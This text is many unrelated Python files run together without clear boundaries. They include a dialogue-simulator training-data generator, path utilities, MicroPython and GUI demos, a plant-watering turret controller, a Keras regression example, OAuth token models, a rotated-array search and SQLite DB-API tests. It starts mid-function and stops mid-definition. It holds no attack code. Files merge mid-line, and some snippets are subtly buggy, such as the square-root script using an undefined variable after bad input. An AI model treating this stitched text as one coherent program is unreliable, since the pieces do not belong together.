False with_main = True with_faq = True qa_prob = 0.25 N = 120000 while 1: if requested == 'property': slot_values_mapper = gen_ambiguity_initial() elif requested == 'ambiguity_removal': slot_values_mapper = gen_ambiguity_response( self.belief_tracker.issue_api(attend_facet=False)) else: slot_values_mapper = gen_random_slot_values( required_field=requested) self.belief_tracker.color_graph( slot_values_mapper=slot_values_mapper, range_render=False) user_reply = render_lang(slot_values_mapper, fresh) if not fresh: gbdt = 'plugin:' + 'api_call_slot' + '|'\ + '|'.join([key + ":" + value for key, value in slot_values_mapper.items()])\ + '#' + requested + '$' + user_reply else: gbdt = 'plugin:' + 'api_call_slot' + '|'\ + '|'.join([key + ":" + value for key, value in slot_values_mapper.items()]) \ + '#' + user_reply gbdt = gbdt.lower() train_gbdt.add(gbdt) fresh = False cls = render_cls(slot_values_mapper) candidates.add(cls.lower()) api = render_api(self.belief_tracker.issue_api(attend_facet=False)) line = user_reply + '\t' + cls + '\t' + api flow = cls + '\t' + api if requested == 'category': single_container.append(line) # single_container.append('') requested = self.belief_tracker.get_requested_field() trans_api = translator.en2cn(api) if not api.startswith('api_call_search'): api_set.add(api + '##' + trans_api) container.append(line.lower()) flow_container.append(flow.lower()) if api.startswith('api_call_search'): if np.random.uniform() < 0.4 and with_deny: a, b, c = render_deny() candidates.add(b) container.append('\t'.join([a, b, c])) mlt_line = user_reply + '\t' + 'plugin:apl_call_slot,' +\ '|'.join([key + ":" + value for key, value in slot_values_mapper.items()])\ + '\t' + api mlt_container.append(mlt_line) if with_qa: filling_slots = self.belief_tracker.filling_slots if 'category' in filling_slots: if np.random.uniform() < qa_prob: category = np.random.choice([render_thesaurus(filling_slots['category']), '']) if np.random.uniform() < 0.5: qa = category\ + np.random.choice(self.modifier_query_cateory_location) else: qa = np.random.choice(self.modifier_query_cateory_location) \ + category line = qa + '\t' + 'api_call_query_location_' + 'category:'\ + filling_slots['category'] + '\t' + 'placeholder' flow = 'api_call_query_location_' + 'category:'\ + filling_slots['category'] + \ '\t' + 'placeholder' container.append(line) # flow_container.append(flow.lower()) candidates.add('api_call_query_location_' + 'category:' + filling_slots['category']) if category: single_container.append(line) # single_container.append('') if np.random.uniform() < qa_prob: brands = get_avail_brands(filling_slots['category']) if 'brand' in filling_slots and 'category' in filling_slots: brand = filling_slots['brand'] qa = np.random.choice([brand] + self.prefix_price)\ + np.random.choice([render_thesaurus(filling_slots['category']), '']) \ + np.random.choice(self.postfix_price) line = qa + '\t' + 'api_call_query_price_' + 'brand:' \ + brand + ',' + 'category:' + \ filling_slots['category'] + \ '\t' + 'placeholder' flow = 'api_call_query_price_' + 'brand:' \ + brand + ',' + 'category:' + \ filling_slots['category'] + \ '\t' + 'placeholder' # flow_container.append(flow.lower()) container.append(line) candidates.add('api_call_query_price_' + 'brand:' + brand + ',' + 'category:' + filling_slots['category']) if brands: brand = np.random.choice(brands) qa = brand + np.random.choice([render_thesaurus(filling_slots['category']), ''])\ + np.random.choice(self.postfix_price) line = qa + '\t' + 'api_call_query_price_' + 'brand:'\ + brand + ',' + 'category:' + \ filling_slots['category'] + \ '\t' + 'placeholder' flow = 'api_call_query_price_' + 'brand:'\ + brand + ',' + 'category:' + \ filling_slots['category'] + \ '\t' + 'placeholder' # flow_container.append(flow.lower()) container.append(line) candidates.add('api_call_query_price_' + 'brand:' + brand + ',' + 'category:' + filling_slots['category']) # ask brand of category if np.random.uniform() < qa_prob: brands = get_avail_brands(filling_slots['category']) if brands: brand = np.random.choice(brands) qa = np.random.choice(self.prefix_brand) + \ np.random.choice([render_thesaurus(filling_slots['category']), ''])\ + np.random.choice(self.postfix_brand) line = qa + '\t' + 'api_call_query_brand_category:' + filling_slots['category'] + '\t' + 'placeholder' flow = 'api_call_query_price_' + 'brand:'\ + brand + ',' + 'category:' + \ filling_slots['category'] + \ '\t' + 'placeholder' # flow_container.append(flow.lower()) container.append(line) candidates.add( 'api_call_query_brand_category:' + filling_slots['category']) if requested and requested != 'ambiguity_removal': if np.random.uniform() < 0: reh, cls = render_rhetorical(requested) rhetorical = "plugin:" + cls + '#' + requested + "$" + reh memory_line = reh + '\t' + cls + '\t' + 'placeholder' flow = cls + '\t' + 'placeholder' cls = cls.lower() candidates.add(cls) memory_line = memory_line.lower() container.append(memory_line) # flow_container.append(flow.lower()) train_gbdt.add(rhetorical.lower()) # print(line) if not requested: fresh = True requested = get_requested_field() self.belief_tracker.clear_memory() line = '' container.append(line.lower()) flow_container.append(line.lower()) # check duplicate bulk = '#'.join(container).lower() single_bulk = '#'.join(single_container).lower() if bulk not in duplicate_removal: duplicate_removal.add(bulk) if with_main: mapper[which].extend(container) # for a in container: # print(a) else: print('# duplicate #') if single_bulk not in duplicate_removal: duplicate_removal.add(single_bulk) mapper[which].extend(single_container * 4) flow_bulk = '#'.join(flow_container).lower() if flow_bulk not in flow_removal: flow_removal.add(flow_bulk) flows.extend(flow_container) which = np.random.choice( ['train', 'val', 'test'], p=[0.8, 0.1, 0.1]) container = [] if np.random.uniform() < 0.5: single_container = [""] flow_container = [] # print(line) i += 1 print(i) if i >= N: break # lower everything # print('writing', len(train_set), len( # val_set), len(test_set), len(candidates)) # if with_flow: with open(grandfatherdir + '/data/memn2n/train/tree/origin/flow.txt', 'w', encoding='utf-8') as f: for line in flows: f.writelines(line + '\n') base_count = 0 base = [] if with_base: with open(grandfatherdir + '/data/memn2n/train/base/interactive_memory.txt', encoding='utf-8') as cf: for line in cf: line = line.strip('\n') base.append(line) if not line: base_count += 1 # whatever = [] if with_whatever: with open(grandfatherdir + '/data/memn2n/train/base/whatever.txt', encoding='utf-8') as cf: for line in cf: line = line.strip('\n') base.append(line) if not line: base_count += 1 with open(grandfatherdir + '/data/memn2n/train/tree/extra/location.txt', encoding='utf-8') as cf: for line in cf: line = line.strip('\n') base.append(line) if not line: pass # base_count += 1 train_count = 0 with open(output_files[1], 'w', encoding='utf-8') as f: for line in mapper['train']: f.writelines(line + '\n') for b in base: f.writelines(b + '\n') with open(output_files[2], 'w', encoding='utf-8') as f: for line in mapper['val']: f.writelines(line + '\n') for b in base: f.writelines(b + '\n') with open(output_files[3], 'w', encoding='utf-8') as f: for line in mapper['test']: f.writelines(line + '\n') for b in base: f.writelines(b + '\n') if with_faq: faq = set() with open(grandfatherdir + '/data/memn2n/train/faq/facility.txt', encoding='utf-8') as cf: for line in cf: a, b, c = line.strip('\n').split('\t') candidates.add(b) line = '\t'.join([a, b, 'placeholder']) faq.add(line) for i in range(1, len(output_files)): with open(output_files[i], 'a', encoding='utf-8') as f: for line in faq: f.writelines('\n') f.writelines(line + '\n') with open(grandfatherdir + '/data/memn2n/train/faq/discount.txt', encoding='utf-8') as cf: for line in cf: a, b, c = line.strip('\n').split('\t') candidates.add(b) line = '\t'.join([a, b, 'placeholder']) faq.add(line) for i in range(1, len(output_files)): with open(output_files[i], 'a', encoding='utf-8') as f: for line in faq: f.writelines('\n') f.writelines(line + '\n') # candidate if with_base: with open(grandfatherdir + '/data/memn2n/train/base/candidates.txt', encoding='utf-8') as cf: for line in cf: line = line.strip('\n') candidates.add(line) candidates = list(candidates) candidates.sort() len_origin = len(candidates) if len_origin < m_config.CANDIDATE_POOL: for i in range(m_config.CANDIDATE_POOL - len_origin): candidates.append('reserved_' + str(i + len_origin)) with open(output_files[0], 'w', encoding='utf-8') as f: for line in candidates: f.writelines(line + '\n') with open(grandfatherdir + '/data/memn2n/train/tree/api.txt', 'w', encoding='utf-8') as af: for line in api_set: af.writelines(line + '\n') print('writing', len(train_set), len( val_set), len(test_set), len_origin, len(candidates), 'base_count:', len(base)) if not with_gbdt: return # gbdt with open(output_files[4], 'w', encoding='utf-8') as f: for line in train_gbdt: f.writelines(line + '\n') # hello with open(grandfatherdir + '/data/memn2n/dialog_simulator/greet.txt', 'r', encoding='utf-8') as hl: for line in hl: line = "plugin:api_call_greet" + '#' + line.strip('\n') f.writelines(line + '\n') # qa # with open(grandfatherdir + '/data/memn2n/dialog_simulator/qa.txt', # 'r', encoding='utf-8') as hl: # for line in hl: # line = "plugin:api_call_qa" + '#' + line.strip('\n') # f.writelines(line + '\n') # chat if with_base: with open(grandfatherdir + '/data/memn2n/train/gbdt/chat.txt', 'r', encoding='utf-8') as hl: for line in hl: line = line.strip('\n') cls, sentence = line.split('#') f.writelines('plugin:api_call_base#' + sentence + '\n') if __name__ == "__main__": graph_dir = os.path.join(grandfatherdir, "model/graph/belief_graph.pkl") config = dict() config['belief_graph'] = graph_dir config['solr.facet'] = 'off' # memory_dir = os.path.join(grandfatherdir, "model/memn2n/ckpt") log_dir = os.path.join(grandfatherdir, "log/test2.log") config['template'] = 'register_template.txt' config['shuffle']=False tree_simulator = TreeSimilator(config) output_files = ['../../data/memn2n/train/tree/origin/candidates.txt', '../../data/memn2n/train/tree/origin/train.txt', '../../data/memn2n/train/tree/origin/val.txt', '../../data/memn2n/train/tree/origin/test.txt', '../../data/memn2n/train/gbdt/train.txt'] tree_simulator.gen_sessions(output_files) luizfelipe1914/Listas-Python1-10 #!/usr/bin/env python3 #-*- encoding: UTF-8 -*- def main(): try: number = int(input("Informe um número inteiro: ")) except: print("Apenas valores numéricos devem ser informados!") if(number < 0): print("No conjunto dos reais, o cálculo de raízes de índice par só é possível com números positivos.") else: print("A raíz quadrada de %d é %d." %(number, int(number**(1/2)))) if(__name__ == "__main__"): main() 100-1000 """ Code borrowed from Xinshuo_PyToolbox: https://github.com/xinshuoweng/Xinshuo_PyToolbox """ import os import shutil import torch import numpy as np import random import time import copy import glob, glob2 from torch import nn class AverageMeter(object): """Computes and stores the average and current value""" def __init__(self): self.reset() def reset(self): self.val = 0 self.avg = 0 self.sum = 0 self.count = 0 self.list = list() def update(self, val, n=1): self.val = val self.sum += val * n self.count += n self.avg = self.sum / self.count self.list.append(val) def isnparray(nparray_test): return isinstance(nparray_test, np.ndarray) def isinteger(integer_test): if isnparray(integer_test): return False try: return isinstance(integer_test, int) or int(integer_test) == integer_test except ValueError: return False except TypeError: return False def isfloat(float_test): return isinstance(float_test, float) def isscalar(scalar_test): try: return isinteger(scalar_test) or isfloat(scalar_test) except TypeError: return False def islogical(logical_test): return isinstance(logical_test, bool) def isstring(string_test): return isinstance(string_test, str) def islist(list_test): return isinstance(list_test, list) def convert_secs2time(seconds): ''' format second to human readable way ''' assert isscalar(seconds), 'input should be a scalar to represent number of seconds' m, s = divmod(int(seconds), 60) h, m = divmod(m, 60) return '[%d:%02d:%02d]' % (h, m, s) def get_timestring(): return time.strftime('%Y%m%d_%Hh%Mm%Ss') def recreate_dirs(*dirs): for d in dirs: if os.path.exists(d): shutil.rmtree(d) os.makedirs(d) def is_path_valid(pathname): try: if not isstring(pathname) or not pathname: return False except TypeError: return False else: return True def is_path_creatable(pathname): ''' if any previous level of parent folder exists, returns true ''' if not is_path_valid(pathname): return False pathname = os.path.normpath(pathname) pathname = os.path.dirname(os.path.abspath(pathname)) # recursively to find the previous level of parent folder existing while not is_path_exists(pathname): pathname_new = os.path.dirname(os.path.abspath(pathname)) if pathname_new == pathname: return False pathname = pathname_new return os.access(pathname, os.W_OK) def is_path_exists(pathname): try: return is_path_valid(pathname) and os.path.exists(pathname) except OSError: return False def is_path_exists_or_creatable(pathname): try: return is_path_exists(pathname) or is_path_creatable(pathname) except OSError: return False def isfile(pathname): if is_path_valid(pathname): pathname = os.path.normpath(pathname) name = os.path.splitext(os.path.basename(pathname))[0] ext = os.path.splitext(pathname)[1] return len(name) > 0 and len(ext) > 0 else: return False def isfolder(pathname): ''' if '.' exists in the subfolder, the function still justifies it as a folder. e.g., /mnt/dome/adhoc_0.5x/abc is a folder if '.' exists after all slashes, the function will not justify is as a folder. e.g., /mnt/dome/adhoc_0.5x is NOT a folder ''' if is_path_valid(pathname): pathname = os.path.normpath(pathname) if pathname == './': return True name = os.path.splitext(os.path.basename(pathname))[0] ext = os.path.splitext(pathname)[1] return len(name) > 0 and len(ext) == 0 else: return False def mkdir_if_missing(input_path): folder = input_path if isfolder(input_path) else os.path.dirname(input_path) os.makedirs(folder, exist_ok=True) def safe_list(input_data, warning=True, debug=True): ''' copy a list to the buffer for use parameters: input_data: a list outputs: safe_data: a copy of input data ''' if debug: assert islist(input_data), 'the input data is not a list' safe_data = copy.copy(input_data) return safe_data def safe_path(input_path, warning=True, debug=True): ''' convert path to a valid OS format, e.g., empty string '' to '.', remove redundant '/' at the end from 'aa/' to 'aa' parameters: input_path: a string outputs: safe_data: a valid path in OS format ''' if debug: assert isstring(input_path), 'path is not a string: %s' % input_path safe_data = copy.copy(input_path) safe_data = os.path.normpath(safe_data) return safe_data def prepare_seed(rand_seed): np.random.seed(rand_seed) random.seed(rand_seed) torch.manual_seed(rand_seed) torch.cuda.manual_seed_all(rand_seed) def initialize_weights(modules): for m in modules: if isinstance(m, nn.Conv2d): nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu') if m.bias is not None: nn.init.constant_(m.bias, 0) elif isinstance(m, nn.BatchNorm2d): nn.init.constant_(m.weight, 1) if m.bias is not None: nn.init.constant_(m.bias, 0) elif isinstance(m, nn.Linear): nn.init.normal_(m.weight, 0, 0.01) if m.bias is not None: nn.init.constant_(m.bias, 0) def print_log(print_str, log, same_line=False, display=True): ''' print a string to a log file parameters: print_str: a string to print log: a opened file to save the log same_line: True if we want to print the string without a new next line display: False if we want to disable to print the string onto the terminal ''' if display: if same_line: print('{}'.format(print_str), end='') else: print('{}'.format(print_str)) if same_line: log.write('{}'.format(print_str)) else: log.write('{}\n'.format(print_str)) log.flush() def find_unique_common_from_lists(input_list1, input_list2, warning=True, debug=True): ''' find common items from 2 lists, the returned elements are unique. repetitive items will be ignored if the common items in two elements are not in the same order, the outputs follows the order in the first list parameters: input_list1, input_list2: two input lists outputs: list_common: a list of elements existing both in list_src1 and list_src2 index_list1: a list of index that list 1 has common items index_list2: a list of index that list 2 has common items ''' input_list1 = safe_list(input_list1, warning=warning, debug=debug) input_list2 = safe_list(input_list2, warning=warning, debug=debug) common_list = list(set(input_list1).intersection(input_list2)) # find index index_list1 = [] for index in range(len(input_list1)): item = input_list1[index] if item in common_list: index_list1.append(index) index_list2 = [] for index in range(len(input_list2)): item = input_list2[index] if item in common_list: index_list2.append(index) return common_list, index_list1, index_list2 def load_txt_file(file_path, debug=True): ''' load data or string from text file ''' file_path = safe_path(file_path) if debug: assert is_path_exists(file_path), 'text file is not existing at path: %s!' % file_path with open(file_path, 'r') as file: data = file.read().splitlines() num_lines = len(data) file.close() return data, num_lines def load_list_from_folder(folder_path, ext_filter=None, depth=1, recursive=False, sort=True, save_path=None, debug=True): ''' load a list of files or folders from a system path parameters: folder_path: root to search ext_filter: a string to represent the extension of files interested depth: maximum depth of folder to search, when it's None, all levels of folders will be searched recursive: False: only return current level True: return all levels till to the input depth outputs: fulllist: a list of elements num_elem: number of the elements ''' folder_path = safe_path(folder_path) if debug: assert isfolder(folder_path), 'input folder path is not correct: %s' % folder_path if not is_path_exists(folder_path): print('the input folder does not exist\n') return [], 0 if debug: assert islogical(recursive), 'recursive should be a logical variable: {}'.format(recursive) assert depth is None or (isinteger(depth) and depth >= 1), 'input depth is not correct {}'.format(depth) assert ext_filter is None or (islist(ext_filter) and all(isstring(ext_tmp) for ext_tmp in ext_filter)) or isstring(ext_filter), 'extension filter is not correct' if isstring(ext_filter): ext_filter = [ext_filter] # convert to a list # zxc fulllist = list() if depth is None: # find all files recursively recursive = True wildcard_prefix = '**' if ext_filter is not None: for ext_tmp in ext_filter: # wildcard = os.path.join(wildcard_prefix, '*' + string2ext_filter(ext_tmp)) wildcard = os.path.join(wildcard_prefix, '*' + ext_tmp) curlist = glob2.glob(os.path.join(folder_path, wildcard)) if sort: curlist = sorted(curlist) fulllist += curlist else: wildcard = wildcard_prefix curlist = glob2.glob(os.path.join(folder_path, wildcard)) if sort: curlist = sorted(curlist) fulllist += curlist else: # find files based on depth and recursive flag wildcard_prefix = '*' for index in range(depth-1): wildcard_prefix = os.path.join(wildcard_prefix, '*') if ext_filter is not None: for ext_tmp in ext_filter: # wildcard = wildcard_prefix + string2ext_filter(ext_tmp) wildcard = wildcard_prefix + ext_tmp curlist = glob.glob(os.path.join(folder_path, wildcard)) if sort: curlist = sorted(curlist) fulllist += curlist # zxc else: wildcard = wildcard_prefix curlist = glob.glob(os.path.join(folder_path, wildcard)) # print(curlist) if sort: curlist = sorted(curlist) fulllist += curlist if recursive and depth > 1: newlist, _ = load_list_from_folder(folder_path=folder_path, ext_filter=ext_filter, depth=depth-1, recursive=True) fulllist += newlist fulllist = [os.path.normpath(path_tmp) for path_tmp in fulllist] num_elem = len(fulllist) # save list to a path if save_path is not None: save_path = safe_path(save_path) if debug: assert is_path_exists_or_creatable(save_path), 'the file cannot be created' with open(save_path, 'w') as file: for item in fulllist: file.write('%s\n' % item) file.close() return fulllist, num_elem from machine import * def callback(p): print('pin change',p) p0=Pin(33,mode=Pin.IN,pull=Pin.PULL_UP) p1=Pin(32,mode=Pin.IN,pull=Pin.PULL_UP) p0.irq(trigger=Pin.IRQ_FALLING, handler=callback) p1.irq(trigger=Pin.IRQ_RISING | Pin.IRQ_FALLING, handler=callback)Talendar/nevo-py # MIT License # # Copyright (c) 2020 (Talendar) # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # ============================================================================== """ Tests the implementation of :class:`FixTopNeatGenome`. """ # pylint: disable=wrong-import-position import os os.environ["TF_FORCE_GPU_ALLOW_GROWTH"] = "true" os.environ["TF_CPP_MIN_LOG_LEVEL"] = "1" # pylint: enable=wrong-import-position import tensorflow as tf from nevopy.neat.genomes import FixTopNeatGenome from nevopy.fixed_topology.genomes import FixedTopologyGenome from nevopy.fixed_topology.layers import TFConv2DLayer from nevopy.genetic_algorithm.config import GeneticAlgorithmConfig from nevopy.neat.config import NeatConfig if __name__ == "__main__": # genomes genome = FixTopNeatGenome( fito_genome=FixedTopologyGenome( layers=[ TFConv2DLayer(filters=32, kernel_size=(16, 16), strides=(4, 4)), TFConv2DLayer(filters=32, kernel_size=(16, 16), strides=(4, 4)), TFConv2DLayer(filters=8, kernel_size=(4, 4), strides=(1, 1)), ], config=GeneticAlgorithmConfig(), ), num_neat_inputs=8, num_neat_outputs=5, config=NeatConfig(), ) # tests print(genome(tf.random.uniform(shape=(1, 128, 128, 3), dtype=float))) from setuptools import find_namespace_packages from setuptools import setup setup( packages=find_namespace_packages(include=["prefect-cicd-example.*"], where="."), pbr=True, setup_requires=['pbr'], ) # Transparency examples. from ocempgui.widgets import * from ocempgui.widgets.Constants import * def _destroy_dialog (window): window.child.text = "#Close" def create_transparent_view (): box = Box (180, 80) box.border = BORDER_FLAT box.topleft = 10, 10 label = ImageLabel ("image.png") label.topleft = 10, 10 button = Button ("A transparent Button") button.opacity = 160 button.topleft = 30, 30 box.children = label, button # Create and display a simple window. window = Window ("Simple window") window.opacity = 100 window.child = Button ("#Button") window.child.connect_signal (SIG_CLICKED, window.destroy) window.topleft = 180, 30 window.depth = 1 return box, window if __name__ == "__main__": # Initialize the drawing window. re = Renderer () re.create_screen (400, 200) re.title = "Transparency examples" re.color = (234, 228, 223) re.show_layer_info = True re.add_widget (*create_transparent_view ()) # Start the main rendering loop. re.start () 1-10 from multiprocessing import Process from motor import Motor from time import sleep from math import atan2, sin, cos, degrees, hypot, acos # Motor Calibration = 1/(angle/seconds) vertical_calibration = 1/(80/15) horizontal_calibration = 1/(90/5) # Pump Calibration = emperical: water @ angle without splashing # main.turn(0.9) # 85 degrees # main.turn(0.88) # 75 degrees # main.turn(0.86) # 65 degrees # main.turn(0.86) # 55 degrees # main.turn(0.84) # 45 degrees # main.turn(0.84) # 40 degrees # main.turn(0.84) # 30 degrees # main.turn(0.82) # 20 degrees # main.turn(0.78) # 10 degrees # main.turn(0.76) # 5 degrees # main.turn(0.76) # 0 degrees pump_calibration = { 85 : 0.9, 75 : 0.88, 65 : 0.86, 55 : 0.86, 45 : 0.84, 40 : 0.84, 30 : 0.84, 20 : 0.82, 10 : 0.78, 5 : 0.76, 0 : 0.76, } arm_length = 16.5 / 0.0393701 # Inches to mm # Inverse Kinematics Work # r = arm_length * cos(theta_v) # x, y = cos(theta_h) * r, sin(theta_h) * r class Turret: def __init__(self): self.vertical = Motor(18, 27) self.horizontal = Motor(4, 17) self.pump = Motor(22, 23) # self.theta_v, self.theta_h = 0.0, 0.0 # Track vertical/horizontal angles self.theta_v, self.theta_h = 90.0, 0.0 # Track vertical/horizontal angles def inv_theta_h(self, x, y): radians = atan2(x, y) theta_h = degrees(radians) return theta_h def inv_theta_v(self, x, y): dist = hypot(x, y) theta_v = acos(dist/arm_length) # dist / arm_length = cos(theta_v) theta_v = degrees(theta_v) return theta_v def up(self, angle): self.vertical.turn(abs(angle * vertical_calibration), angle < 0) self.theta_v += angle def turn(self, angle): self.horizontal.turn(abs(angle * horizontal_calibration), angle < 0) self.theta_h += angle def reset(self): d_theta_v = 90.0 - self.theta_v self.up(d_theta_v) d_theta_h = 0.0 - self.theta_h self.turn(d_theta_h) def inverse(self, x, y): theta_h = self.inv_theta_h(x, y) theta_v = self.inv_theta_v(x, y) theta_h = theta_h - self.theta_h theta_v = theta_v - self.theta_v self.turn(theta_h) self.up(theta_v) def safe_inverse(self, x, y): self.reset() self.inverse(x, y) def water(self): closest = min(pump_calibration.keys(), key=lambda x : abs(x) - self.theta_v) duration = pump_calibration[closest] + 0.2 self.pump.turn(duration) sleep(3) self.pump.turn(duration) sleep(3) def water_at(self, x, y, safe=True): if safe: self.reset() self.inverse(x, y) self.water() if safe: self.reset() def main(): turret = Turret() turret.water_at(50, 200) # turret.turn(90) # sleep(1) # turret.up(-600000) if __name__ == '__main__': main() nsmai/2021-proejct-2 import tensorflow as tf from tensorflow import keras ### Coefficient of Determination (결정계수) ### 결정계수 위키(영문) https://en.wikipedia.org/wiki/Coefficient_of_determination ### 결정계수 위키(국문) https://ko.wikipedia.org/wiki/%EA%B2%B0%EC%A0%95%EA%B3%84%EC%88%98 ### 결정계수는 0~1 사이로 정의되나, ### 0미만의 값이 보인다면 해당 모델은 x_data의 값들과 y_data의 평균값의 차이보다 큰경우 음수가 나옴 ### (다시 말하면 그냥 y_data 평균값으로 예측해도 그것보다 못하다는 말로, 매우 안좋은 모델이라는 말임) def coeff_determination(y_true, y_pred): from keras import backend as K SS_res = K.sum(K.square( y_true-y_pred )) SS_tot = K.sum(K.square( y_true - K.mean(y_true) ) ) r2 = 1 - SS_res/(SS_tot + K.epsilon()) return r2 x_data = [1,2,3,4,5] y_data = [4,7,10,13,16] model = keras.Sequential([keras.layers.Dense(1, input_shape=[1])]) optimizer = keras.optimizers.RMSprop(lr=0.2) ### 위에서 결정한 optimizer를 이용한 예측모델 방법 생성 model.compile(loss='mse', optimizer=optimizer, metrics=[coeff_determination]) ### 모델 피팅 epochs만큼 수행 model.fit(x_data, y_data, epochs=100) ### 만들어진 모델에 x_data를 입력하여 예측된 y_data의 값을 y_pred_data에 저장 y_pred_data = model.predict(x_data) ### x_data, y_data, 예측된 y_pred_data, 오차값 을 출력함. for idx, xi in enumerate(x_data): yi = y_data[idx] y_pred_i = y_pred_data[idx][0] error_i = abs(yi-y_pred_i) print('x: {0}, y: {1}, y_pred: {2:.4f}, Mean_squared_error: {3:.4f}'.format(xi, yi, y_pred_i, error_i)) pass ''' main.py Created by on 2020 Copyright © 2020 . All rights reserved. ''' t = int(input()) dp = [(0, 0) for _ in range(41)] dp[0] = (1, 0) dp[1] = (0, 1) def fiv_counter(): global dp for i in range(2, 41): dp[i] = (dp[i - 1][0] + dp[i - 2][0], dp[i - 1][1] + dp[i - 2][1]) fiv_counter() for _ in range(t): n = int(input()) print(dp[n][0], dp[n][1])sbworth/getnocservices/login/models/token.py0 # ---------------------------------------------------------------------- # TokenResponse # ---------------------------------------------------------------------- # Copyright (C) 2007-2021 The NOC Project # See LICENSE for details # ---------------------------------------------------------------------- # Python modules from typing import Optional, Union, Literal # Third-party modules from pydantic import BaseModel class ROPCGrantRequest(BaseModel): """ RFC-6749 Resource Owner Password Credentials Grant. Section 4.3 """ grant_type: Literal["password"] username: str password: str scope: Optional[str] class CCGrantRequest(BaseModel): """ RFC-6749 Client Credentials Grant Section 4.4 """ grant_type: Literal["client_credentials"] scope: Optional[str] class RefreshRequest(BaseModel): """ RFC-6749 Refreshing an Access Token Section: 6 """ grant_type: Literal["refresh_token"] refresh_token: str scope: Optional[str] TokenRequest = Union[RefreshRequest, ROPCGrantRequest, CCGrantRequest] class TokenResponse(BaseModel): access_token: str token_type: str expires_in: int refresh_token: str ''' Suppose an array sorted in ascending order is rotated at some pivot unknown to you beforehand. (i.e., [0,1,2,4,5,6,7] might become [4,5,6,7,0,1,2]). You are given a target value to search. If found in the array return its index, otherwise return -1. You may assume no duplicate exists in the array. Your algorithm's runtime complexity must be in the order of O(log n). Example 1: Input: nums = [4,5,6,7,0,1,2], target = 0 Output: 4 Example 2: Input: nums = [4,5,6,7,0,1,2], target = 3 Output: -1 ''' from typing import List class Solution: def search(self, nums: List[int], target: int) -> int: if not nums: return -1 n = len(nums) if n == 1: return 0 if nums[0]==target else -1 # Find pivot (Find the maximum in the array) index = self.find_maximum(nums) if target < nums[0]: right_ans = self.binary_search(nums, index+1, len(nums)-1, target) return right_ans if right_ans is not None else -1 else: left_ans = self.binary_search(nums, 0, index, target) return left_ans if left_ans is not None else -1 def find_maximum(self, nums): maximum = nums[0] l, r = 0, len(nums)-1 while l <= r: mid = (l+r)>>1 if nums[mid] < maximum: r = mid - 1 else: l = mid + 1 maximum = nums[mid] return l-1 def binary_search(self, nums, l, r, target): while l <= r: mid = (l+r) >> 1 if nums[mid] == target: return mid elif nums[mid] < target: l = mid + 1 else: r = mid - 1 print(Solution().search([4,5,6,7,0,1,2], 4)) print(Solution().search([8,9,0,1,2,3,4,5], 0)) print(Solution().search([4,5,6,7,8,9,1,2], 5)) print(Solution().search([2,1], 0)) lib/test/python3/dbapi.py #-*- coding: iso-8859-1 -*- # pysqlite2/test/dbapi.py: tests for DB-API compliance # # Copyright (C) 2004-2010 <> # # This file is part of pysqlite. # # This software is provided 'as-is', without any express or implied # warranty. In no event will the authors be held liable for any damages # arising from the use of this software. # # Permission is granted to anyone to use this software for any purpose, # including commercial applications, and to alter it and redistribute it # freely, subject to the following restrictions: # # 1. The origin of this software must not be misrepresented; you must not # claim that you wrote the original software. If you use this software # in a product, an acknowledgment in the product documentation would be # appreciated but is not required. # 2. Altered source versions must be plainly marked as such, and must not be # misrepresented as being the original software. # 3. This notice may not be removed or altered from any source distribution. import unittest import pysqlcipher3.dbapi2 as sqlite try: import threading except ImportError: threading = None from test.support import TESTFN, unlink class ModuleTests(unittest.TestCase): def testAPILevel(self): self.assertEqual(sqlite.apilevel, "2.0", "apilevel is %s, should be 2.0" % sqlite.apilevel) def testThreadSafety(self): self.assertEqual(sqlite.threadsafety, 1, "threadsafety is %d, should be 1" % sqlite.threadsafety) def testParamStyle(self): self.assertEqual(sqlite.paramstyle, "qmark", "paramstyle is '%s', should be 'qmark'" % sqlite.paramstyle) def testWarning(self): self.assertTrue(issubclass(sqlite.Warning, Exception), "Warning is not a subclass of Exception") def testError(self): self.assertTrue(issubclass(sqlite.Error, Exception), "Error is not a subclass of Exception") def testInterfaceError(self): self.assertTrue(issubclass(sqlite.InterfaceError, sqlite.Error), "InterfaceError is not a subclass of Error") def testDatabaseError(self): self.assertTrue(issubclass(sqlite.DatabaseError, sqlite.Error), "DatabaseError is not a subclass of Error") def testDataError(self): self.assertTrue(issubclass(sqlite.DataError, sqlite.DatabaseError), "DataError is not a subclass of DatabaseError") def testOperationalError(self): self.assertTrue(issubclass(sqlite.OperationalError, sqlite.DatabaseError), "OperationalError is not a subclass of DatabaseError") def testIntegrityError(self): self.assertTrue(issubclass(sqlite.IntegrityError, sqlite.DatabaseError), "IntegrityError is not a subclass of DatabaseError") def testInternalError(self): self.assertTrue(issubclass(sqlite.InternalError, sqlite.DatabaseError), "InternalError is not a subclass of DatabaseError") def testProgrammingError(self): self.assertTrue(issubclass(sqlite.ProgrammingError, sqlite.DatabaseError), "ProgrammingError is not a subclass of DatabaseError") def testNotSupportedError(self): self.assertTrue(issubclass(sqlite.NotSupportedError, sqlite.DatabaseError), "NotSupportedError is not a subclass of DatabaseError") class ConnectionTests(unittest.TestCase): def setUp(self): self.cx = sqlite.connect(":memory:") cu = self.cx.cursor() cu.execute("create table test(id integer primary key, name text)") cu.execute("insert into test(name) values (?)", ("foo",)) def tearDown(self): self.cx.close() def testCommit(self): self.cx.commit() def testCommitAfterNoChanges(self): """ A commit should also work when no changes were made to the database. """ self.cx.commit() self.cx.commit() def testRollback(self): self.cx.rollback() def testRollbackAfterNoChanges(self): """ A rollback should also work when no changes were made to the database. """ self.cx.rollback() self.cx.rollback() def testCursor(self): cu = self.cx.cursor() def 